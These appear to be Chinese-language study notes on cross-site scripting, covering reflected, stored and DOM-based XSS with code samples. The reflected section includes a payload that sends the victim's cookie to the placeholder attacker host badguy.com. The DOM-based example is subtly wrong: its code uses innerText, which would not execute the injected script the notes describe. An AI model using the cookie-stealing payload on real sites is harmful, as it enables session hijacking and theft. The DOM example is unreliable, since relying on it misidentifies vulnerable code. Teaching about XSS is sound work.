> 參考資料:經典駭客攻擊教程:給每個人的網站安全入門 作者 Jayden Lin > https://hahow.in/courses/5aca2dc9d21aee001e55b296/ > https://medium.com/%E7%A8%8B%E5%BC%8F%E7%8C%BF%E5%90%83%E9%A6%99%E8%95%89 ### XSS攻擊的核心包括: 1. **注入惡意腳本**:攻擊者在網站上注入惡意的JavaScript腳本。 2. **瀏覽器執行**:當其他用戶瀏覽受影響的網頁時,這些惡意腳本在他們的瀏覽器中被執行。 3. **網站信任漏洞**:這種攻擊通常發生因為網站對用戶輸入的資料沒有進行充分的檢查或過濾,導致瀏覽器誤信這些腳本是安全的。 - 總而言之,XSS攻擊利用了網站對用戶輸入資料處理不當,從而在其他用戶的瀏覽器中執行惡意腳本。 ### 1. 反射型 XSS(Reflective XSS) * **觸發方式**:當使用者點擊包含惡意腳本的特製連結時觸發。 * **腳本位置**:腳本在使用者的請求發送到伺服器後,隨即由**伺服器返回並在使用者的瀏覽器中執行**。 * **受害範圍**:攻擊是一次性的,只有當用戶實際點擊連結時才會發生。 - **舉例**: 一個購物網站的搜索功能,允許用戶輸入搜索詞。一個攻擊者可能會在搜索框中輸入一段 JavaScript 代碼。當服務器將搜索結果(包括攻擊者的腳本)反射回用戶的瀏覽器時,腳本就會執行。假設攻擊者把一下腳本傳給用受害者,就可以偷取到對方cookie,然後偽造購物行為。 ``` http://www.shop.com/search?query= <script>document.location='http://badguy.com/cookiestealer.php?c='+document.cookie;</script> ``` 只要你誤點了上面的網址之後,你的 Cookie 就會被送到駭客的網站 badguy.com,駭客取得 Cookie 之後,就可以登入你在 shop.com 的帳號購物了。 ### 2. 持久型 XSS(Persistent/Stored XSS) - **觸發方式**:當攻擊者將惡意腳本儲存於網站上時觸發,例如在評論或留言板中。 - **腳本位置**:**腳本被永久儲存於伺服器上**,每當該頁面被瀏覽時都會執行。 - **受害範圍**:攻擊可以持續很長時間,影響所有瀏覽該頁面的使用者。 * **舉例**: 在一個心情留言板上,攻擊者留下一則包含惡意 JavaScript 代碼的留言。當其他用戶瀏覽這些留言時,他們的瀏覽器會執行該代碼。 ``` <div> <h3>心情留言板</h3> </div> <ul> <li>心情不好</li> <li>想跟朋友約吃飯</li> <li><script>惡意代碼</script></li> </ul> ``` 其中`<li><script>惡意代碼</script></li>`為惡意代碼代碼。 ### 3. 基於 DOM 的 XSS(DOM-based XSS) - **觸發方式**:當網頁的 JavaScript 錯誤地處理了用戶的輸入,並將其添加到 DOM 中時觸發。 - **腳本執行**:這種攻擊完全在客戶端發生,**惡意腳本由瀏覽器執行,而不是由伺服器返回**。 - **攻擊時機**:攻擊依賴於用戶與網頁的互動。 * **舉例**: 假設攻擊者想要執行一個基於 DOM 的 XSS 攻擊。他們可以透過發送帶有惡意 JavaScript 的連結來實現。 ``` <!-- 當頁面加載時,讀取 URL 的 hash 部分並顯示在這個 div 中 --> <div id="content"></div> <script> window.onload = function() { // 從 URL 的 hash 中獲取文字 var text = window.location.hash.substring(1); // # 符號後面的部分 // 將文字顯示在 div 元素中 document.getElementById('content').innerText = text; }; </script> ``` 在這個例子中:如果 URL 是 `http://www.example.com/#hello`,則頁面上會顯示 "hello"。如果攻擊者創建一個 URL,如 `http://www.example.com/#<script>alert('XSS');</script>` 並發送給受害者,當受害者訪問這個 URL,他們的瀏覽器會讀取 hash 部分並嘗試將其內容顯示在頁面上。 URL中的hash部分(#符號之後)類似於文件(如Word文檔)中的目次功能。在網頁上,當您點擊帶有hash的連結時,瀏覽器會自動滾動到該頁面上對應ID的元素位置。這種機制常用於快速導航到長頁面上的特定部分。例如:假設一個網頁上有一段文字的ID是 section3。網頁上的一個連結是 `http://www.example.com/page#section3。`當用戶點擊這個連結時,瀏覽器會自動滾動到ID為 section3 的那一部分。 因此此行為與伺服器無關,也不會透過伺服器回傳,這是跟**基於 DOM 的 XSS**和**反射型 XSS**最大差別。